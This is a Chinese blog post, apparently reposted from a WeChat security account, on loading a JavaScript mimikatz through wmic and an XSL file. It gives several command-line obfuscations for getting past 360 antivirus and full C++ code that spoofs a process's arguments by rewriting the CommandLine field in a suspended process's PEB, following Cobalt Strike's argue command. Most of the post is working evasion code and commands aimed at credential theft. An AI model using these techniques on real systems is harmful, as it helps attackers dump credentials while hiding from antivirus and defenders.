点击蓝字关注我哦
前言
在学习通过wmic加载mimikatz的时候,发现一个有趣的现象,也发现了一个事实。
通过wmic去加载js版的mimikatz的时候,火绒不候拦截,但是360会拦截wmic这个行为
1.加载mimikatz
命令:
wmic os get /format:"111111.xsl"
#这里的xsl是js版的minikatz
但是从风险的框来看,360安全卫士并没识别出此xs1文件是什么?这很好,尝试着绕过
开始尝试各种命令行混淆:
w^m^i^c,;os,;get /format:"111111.xsl"
for /L %i in (start,step,end) do wmic os get /format:"111111.xsl"
cmd /v:on /c "set envar=wmic os get /format:"111111.xsl" && !envar!"
...........
但是最大的困难不是这个,是360拦着拦着就不拦截了,这是最玄学的,只能关机重启,反复重启!!!!!!!(我猜测是云大脑在某方面做了策略,检测多次拦截一个常规的程序,就会给这个程序一定时间的白名单,因为我反复重启没用,还是不拦)
在测试N编之后,发现,360把所有的白名单程序都加入了自己的规则库了,就算白名单程序执行错误的,也会拦截。
期间也使用了一些常规的白名单程序加载,替换了父子进程链,除却一些不能加参数的白名单程序,好像都会一样的被拦截
2.学习CS中的argue命令原理
通过询问部门大佬,获悉一种参数混淆的新姿势(对于我来说)
在Cobalt Strike 3.13中,引入了argue,该argue命令是作为利用参数欺骗的一种方式引入的
该原理概括来讲,就是在进程启动的时候,使用了一些迷惑的参数比如
wmic aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa什么的
但是一但进程被创建,那么它将被暂停,然后我们通过获取进程块的PEB地址(这里主要通过NtQueryInformationProcess api来完成),然后利用PEB地址通过ReadProcessMemory api来获取进程块的内存副本,然后从RTL_USER_PROCESS_PARAMETERS结构中找到CommandLine字段,替换成正常的命令行参数,比如os get /format:"111111.xsl",然后恢复进程继续执行,当我们通过process Monitor来查看的时候,会发现创建进程的时候传入的参数是无意义的混淆的参数,但实际上是我们执行的是正常参数,好一点偷梁换柱。
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {
SIZE_T bytesRead;
char *alloc;
alloc = (char *)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
int main(int argc, char **canttrustthis)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CONTEXT context;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS *parameters;
printf("Argument Spoofing Example by @_xpn_nn");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
// Start process suspended
success = CreateProcessA(
NULL,
(LPSTR)"powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\Windows\System32\",
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Could not call CreateProcessn");
return 1;
}
// Retrieve information on PEB location in process
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
// Read the PEB from the target process
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
if (success == FALSE) {
printf("[!] Error: Could not call ReadProcessMemory to grab PEBn");
return 1;
}
// Grab the ProcessParameters from PEB
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
);
// Set the actual arguments we are looking to use
WCHAR spoofed[] = L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed ";
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline argsn");
return 1;
}
/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////
// Update the CommandLine length (Remember, UNICODE length here)
DWORD newUnicodeLen = 28;
success = writeProcessMemory(
pi.hProcess,
(char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,
4
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg lengthn");
return 1;
}
// Resume thread execution*/
ResumeThread(pi.hThread);
}
c++参考代码
3.实际使用效果
执行效果:
可以看到这里展示的使我们混淆的参数。
END
看完记得点赞,关注哟,爱您!
扫码领hacker资料,常用工具,以及各种福利
本文始发于微信公众号(Gamma实验室):cs中得argue命令原理解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论